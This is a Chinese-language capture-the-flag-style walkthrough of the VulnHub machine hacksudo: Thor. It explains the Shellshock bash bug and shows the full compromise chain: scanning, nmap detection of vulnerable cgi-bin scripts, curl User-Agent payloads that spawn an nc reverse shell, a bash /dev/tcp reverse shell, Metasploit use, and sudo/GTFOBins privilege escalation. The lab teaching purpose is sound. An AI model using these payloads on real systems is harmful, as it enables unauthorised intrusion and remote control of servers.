hacksudo-Thor(Vulnhub)

靶机地址:hacksudo: Thor ~ VulnHub

目录

利用的技术

什么是破壳漏洞?

bash环境变量

bash的函数

漏洞测试

原理分析

1.主机发现

2.端口扫描

3.漏洞发现

破壳漏洞

漏洞检测

4.漏洞利用

反弹shell

升级shell

5.权限提升

利用另一个命令提权:

6.flag

另一种方法:

MSF:

配置点

配置完毕

执行

小技巧:


利用的技术

  • shellshock破壳漏洞<–cgi-bin–>
  • GTFOBins提权
  • github开源源码泄露

什么是破壳漏洞?

bash环境变量

var="hello world"   //一个简单的环境变量  =前后不能有空格
使用它输入命令:
echo $var      //输出就是你定义的内容
如果此时再输入bash
那么得到的就是bash的子进程 -》var就不能访问了:echo $var

hacksudo-Thor(Vulnhub)_第1张图片

子进程可以访问就得export一下

hacksudo-Thor(Vulnhub)_第2张图片

bash的函数

定义一个函数
 foo(){echo "hello";}
 foo
结果: hello

同样函数不能够直接在子进程进行调用

foo(){echo "hello"}
foo
bash
foo
bash:foo:commandnot found

和环境变量一样,如果要在子进程调用的话,需要export,export有参数 -f 作用为export一个函数

 foo(){echo"hello coolshell"; }
 foo
hello coolshell
$export-f foo
$bash
$ foo
hello coolshell

漏洞测试

在bashshell下执行以下代码:env x='() {:;}echo hello' bash -c "echo test"

如果输出了 
hello
test
表示存在这个漏洞

如果不存在
bash: 警告: x: ignoring function definition attempt
bash: `x' 函数定义导入错误
test

原理分析

Shell可以定义变量,POC中定义了一个命名为x的变量,内容是字符串:

(){:'}echo hello 

根据漏洞信息可知,这个漏洞产生于shell在处理函数定义时,执行了函数体之后的命令,但这里x的值是个字符串,为什么会变成函数?

首先分析函数定义的格式
function function_name() {
body;
}

say_hello='() { echo hello world; }'
export say_hello
bash -c 'say_hello'
helloworld
这个过程中:say_hello成了新环境的一个函数,演变过程如下
1.新的bash初始时,扫描到环境变量say_hello出现小括号和大括号,认为它是一个函数的定义
2. bash把say_hello作为函数名,值作为了函数体
typeset命令可以列出当前环境中所有变量和函数定义,我们用typeset看看这个字符串怎么变成函数的。继续上面定义的say_hello函数:
 bash -c 'typeset' | fgrep -A 10 say_hello
say_hello ()
{
echo hello world
}
这里新启动了个Bash进程,然后执行了typeset,typeset会返回当前环境(新的环境)中所有定义,这里清楚看到say_hello被变成函数了。

1.主机发现

arp-scan -l

2.端口扫描

nmap -p- 192.168.56.109
nmap -p22.80 -A 192.168.56.109

hacksudo-Thor(Vulnhub)_第3张图片

3.漏洞发现

打开网站查看,弱口令尝试登录不成功,目录扫描

dirsearch -u http://192.168.56.109

hacksudo-Thor(Vulnhub)_第4张图片

访问目录下载文件查看:

hacksudo-Thor(Vulnhub)_第5张图片

还发现了作者的Github地址,这里应该是有源码的。

hacksudo-Thor(Vulnhub)_第6张图片

访问作者的github同样发现了部分信息:

hacksudo-Thor(Vulnhub)_第7张图片

继续github看配置文件→这个目录同样目录扫描时看到了,访问使用上面的密码登录

hacksudo-Thor(Vulnhub)_第8张图片

里面的用户可以查看账号密码。。收集一下,可能有用

hacksudo-Thor(Vulnhub)_第9张图片

登陆后也没什么用→先放着看别的思路


破壳漏洞

bash在解析环境变量定义中引用的函数存在的漏洞,漏洞存在于bash。不是在web程序上面。

shell的分类:
sh   bash   zsh

bash   env存在漏洞    这个漏洞与bash的版本有关

hacksudo-Thor(Vulnhub)_第10张图片

查看下源码信息:在news的源码中发现了cgi-bin

hacksudo-Thor(Vulnhub)_第11张图片

访问192.168.56.109/cgi-bin 返回的是403,那么说明该目录下可能存在目录。

hacksudo-Thor(Vulnhub)_第12张图片

正常来说这种新闻文字不会放在这种特殊的目录下,因为这里并不需要服务器上对访问者输入的信息进行处理,所以推测这里被 Shellshock 攻击过,里面可能有 shell 脚本,推测该脚本后缀为 .sh,扫一下 cgi-bin 目录。
dirb http://192.168.56.109/cgi-bin/ -X .cgi,.sh

扫描出来,发现状态码500,服务器的报错。

hacksudo-Thor(Vulnhub)_第13张图片

漏洞检测

可以使用nmap对漏洞探测

对shell.sh测试是否可利用
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh 192.168.56.109

hacksudo-Thor(Vulnhub)_第14张图片

对backup.cgi文件测试
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi 192.168.56.109

hacksudo-Thor(Vulnhub)_第15张图片

4.漏洞利用

定义环境变量,环境变量的引用的函数定义来执行系统指令

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://192.168.56.109/cgi-bin/backup.cgi    //查找下是否有nc

 

反弹shell

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.56.102 4444'" http://192.168.56.109/cgi-bin/backup.cgi   //反弹shell

hacksudo-Thor(Vulnhub)_第16张图片

 

升级shell

python -c 'import pty; pty.spawn("/bin/bash")'

5.权限提升

sudo -l 发现以thor的身份可以去访问文件

hacksudo-Thor(Vulnhub)_第17张图片

 

通过执行发现:可执行程序的效果就是以thor身份去执行命令

hacksudo-Thor(Vulnhub)_第18张图片

 

利用Thor账号进行权限提升

hacksudo-Thor(Vulnhub)_第19张图片

利用另一个命令提权:

还是使用这个网站查询如何利用sudo提权(以前的靶场讲过这个github项目)

service | GTFOBins

hacksudo-Thor(Vulnhub)_第20张图片

hacksudo-Thor(Vulnhub)_第21张图片

6.flag

hacksudo-Thor(Vulnhub)_第22张图片

另一种方法:

MSF:

如果不会使用破壳漏洞的命令进行反弹shell,那么就使用MSF搜索exp干

hacksudo-Thor(Vulnhub)_第23张图片

配置点

hacksudo-Thor(Vulnhub)_第24张图片

配置完毕

hacksudo-Thor(Vulnhub)_第25张图片

执行

这里不反弹个shell操作起来难受

bash -c "bash -i &> /dev/tcp/192.168.56.102/5555 0>&1"

hacksudo-Thor(Vulnhub)_第26张图片

后面都和上面一样了。

小技巧:

当不小心把nc监听到的停止了

输入
stty raw -echo
fg    //把进程调出。


最后结束时自己的kali命令行也会不出显示,可以新开终端解决,或者输入
stty raw echo //取消不显设置

hacksudo-Thor(Vulnhub)_第27张图片

 

你可能感兴趣的:(Vulnhub靶场,web安全,安全)